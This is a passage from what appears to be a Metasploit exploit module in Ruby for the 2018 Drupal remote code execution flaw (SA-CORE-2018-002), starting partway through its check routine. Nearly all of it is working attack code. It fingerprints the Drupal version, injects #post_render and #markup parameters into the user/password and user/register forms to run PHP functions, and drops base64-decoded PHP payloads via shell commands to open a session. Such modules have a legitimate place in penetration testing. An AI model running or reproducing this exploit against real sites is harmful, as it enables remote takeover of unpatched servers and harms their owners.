print_error(‘Could not determine Drupal version to target’)
return CheckCode::Unknown
end

if drupal_unpatched?
print_good(‘Drupal appears unpatched in CHANGELOG.txt’)
checkcode = CheckCode::Appears
end

token = random_crap
res = execute_command(token, func: ‘printf’)

if res && res.body.start_with?(token)
checkcode = CheckCode::Vulnerable
end

checkcode
end

def exploit
unless check == CheckCode::Vulnerable || datastore[‘ForceExploit’]
fail_with(Failure::NotVulnerable, ‘Set ForceExploit to override’)
end

if datastore[‘PAYLOAD’] == ‘cmd/unix/generic’
print_warning(‘Enabling DUMP_OUTPUT for cmd/unix/generic’)
# XXX: Naughty datastore modification
datastore[‘DUMP_OUTPUT’] = true
end

# NOTE: assert() is attempted first, then PHP_FUNC if that fails
case target[‘Type’]
when :php_memory
execute_command(payload.encoded, func: ‘assert’)

sleep(wfs_delay)
return if session_created?

# XXX: This will spawn a *very* obvious process
execute_command(“php -r ‘#{payload.encoded}'”)
when :unix_memory
execute_command(payload.encoded)
when :php_dropper, :linux_dropper
dropper_assert

sleep(wfs_delay)
return if session_created?

dropper_exec
end
end

def dropper_assert
php_file = Pathname.new(
“#{datastore[‘WritableDir’]}/#{random_crap}.php”
).cleanpath

# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore[‘WritableDir’],
unlink_self: true # Worth a shot
)

# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)

# Stage 1 decodes the PHP and writes it to disk
stage1 = %Q{
file_put_contents(“#{php_file}”, base64_decode(“#{dropper}”));
}

# Stage 2 executes said PHP in-process
stage2 = %Q{
include_once(“#{php_file}”);
}

# :unlink_self may not work, so let’s make sure
register_file_for_cleanup(php_file)

# Hopefully pop our shell with assert()
execute_command(stage1.strip, func: ‘assert’)
execute_command(stage2.strip, func: ‘assert’)
end

def dropper_exec
php_file = “#{random_crap}.php”
tmp_file = Pathname.new(
“#{datastore[‘WritableDir’]}/#{php_file}”
).cleanpath

# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore[‘WritableDir’],
unlink_self: true # Worth a shot
)

# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)

# :unlink_self may not work, so let’s make sure
register_file_for_cleanup(php_file)

# Write the payload or dropper to disk (!)
# NOTE: Analysis indicates > is a badchar for 8.x
execute_command(“echo #{dropper} | base64 -d | tee #{php_file}”)

# Attempt in-process execution of our PHP script
send_request_cgi(
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path, php_file)
)

sleep(wfs_delay)
return if session_created?

# Try to get a shell with PHP CLI
execute_command(“php #{php_file}”)

sleep(wfs_delay)
return if session_created?

register_file_for_cleanup(tmp_file)

# Fall back on our temp file
execute_command(“echo #{dropper} | base64 -d | tee #{tmp_file}”)
execute_command(“php #{tmp_file}”)
end

def execute_command(cmd, opts = {})
func = opts[:func] || datastore[‘PHP_FUNC’] || ‘passthru’

vprint_status(“Executing with #{func}(): #{cmd}”)

res =
case @version.to_s
when ‘7.x’
exploit_drupal7(func, cmd)
when ‘8.x’
exploit_drupal8(func, cmd)
end

if res && res.code != 200
print_error(“Unexpected reply: #{res.inspect}”)
return
end

if res && datastore[‘DUMP_OUTPUT’]
print_line(res.body)
end

res
end

def drupal_version
if target[‘Version’]
@version = target[‘Version’]
return @version
end

res = send_request_cgi(
‘method’ => ‘GET’,
‘uri’ => target_uri.path
)

return unless res && res.code == 200

# Check for an X-Generator header
@version =
case res.headers[‘X-Generator’]
when /Drupal 7/
Gem::Version.new(‘7.x’)
when /Drupal 8/
Gem::Version.new(‘8.x’)
end

return @version if @version

# Check for a <meta> tag
generator = res.get_html_document.at(
‘//meta[@name = “Generator”]/@content’
)

return unless generator

@version =
case generator.value
when /Drupal 7/
Gem::Version.new(‘7.x’)
when /Drupal 8/
Gem::Version.new(‘8.x’)
end
end

def drupal_unpatched?
unpatched = true

# Check for patch level in CHANGELOG.txt
uri =
case @version.to_s
when ‘7.x’
normalize_uri(target_uri.path, ‘CHANGELOG.txt’)
when ‘8.x’
normalize_uri(target_uri.path, ‘core/CHANGELOG.txt’)
end

res = send_request_cgi(
‘method’ => ‘GET’,
‘uri’ => uri
)

return unless res && res.code == 200

if res.body.include?(‘SA-CORE-2018-002’)
unpatched = false
end

unpatched
end

def exploit_drupal7(func, code)
vars_get = {
‘q’ => ‘user/password’,
‘name[#post_render][]’ => func,
‘name[#markup]’ => code,
‘name[#type]’ => ‘markup’
}

vars_post = {
‘form_id’ => ‘user_pass’,
‘_triggering_element_name’ => ‘name’
}

res = send_request_cgi(
‘method’ => ‘POST’,
‘uri’ => target_uri.path,
‘vars_get’ => vars_get,
‘vars_post’ => vars_post
)

return res unless res && res.code == 200

form_build_id = res.get_html_document.at(
‘//input[@name = “form_build_id”]/@value’
)

return res unless form_build_id

vars_get = {
‘q’ => “file/ajax/name/#value/#{form_build_id.value}”
}

vars_post = {
‘form_build_id’ => form_build_id.value
}

send_request_cgi(
‘method’ => ‘POST’,
‘uri’ => target_uri.path,
‘vars_get’ => vars_get,
‘vars_post’ => vars_post
)
end

def exploit_drupal8(func, code)
# Clean URLs are enabled by default and “can’t” be disabled
uri = normalize_uri(target_uri.path, ‘user/register’)

vars_get = {
‘element_parents’ => ‘account/mail/#value’,
‘ajax_form’ => 1,
‘_wrapper_format’ => ‘drupal_ajax’
}

vars_post = {
‘form_id’ => ‘user_register_form’,
‘_drupal_ajax’ => 1,
‘mail[#type]’ => ‘markup’,
‘mail[#post_render][]’ => func,
‘mail[#markup]’ => code
}

send_request_cgi(
‘method’ => ‘POST’,
‘uri’ => uri,
‘vars_get’ => vars_get,
‘vars_post’ => vars_post
)
end

def random_crap
Rex::Text.rand_text_alphanumeric(8..42)
end

end